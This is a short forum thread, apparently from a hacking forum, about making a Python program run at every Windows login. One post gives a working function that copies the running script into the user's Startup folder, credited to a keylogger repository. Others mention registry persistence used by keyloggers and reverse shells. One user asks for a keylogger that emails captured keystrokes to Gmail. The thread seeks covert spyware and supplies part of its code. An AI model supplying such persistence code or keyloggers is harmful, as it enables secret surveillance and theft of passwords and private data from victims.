Have you tried googling it? Add it to the registry is one example you can do.

micthalmunday - March 13, 2018, 11:25 am

Or copy the file to startup

```
Code    def CopyItselfToStartup(self):
        desired_file = ProcessCmd("echo %USERPROFILE%").replace("\\", "/") +
"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" +
os.path.basename(sys.argv[0])
        if not os.path.isfile(desired_file):
            with open(os.path.basename(sys.argv[0]), "rb") as base_f, open(desired_file, "wb") as
new_f:
                new_f.write(base_f.read())
        if self.debug: print "Copied itself to startup"Code part from:
```

<https://github.com/micthalmunday/keyLogger/blob/master/source/keys.py>

Also there was an example of keylogger or reverse shell script which wrote to registry, idk what it was called but it's somewhere in the Python section of this forum

I mean anyone have a code that catches keyboard logs then it sends it to gmail?

Moon - March 20, 2018, 3:31 am

You can easily find one on github I guess.
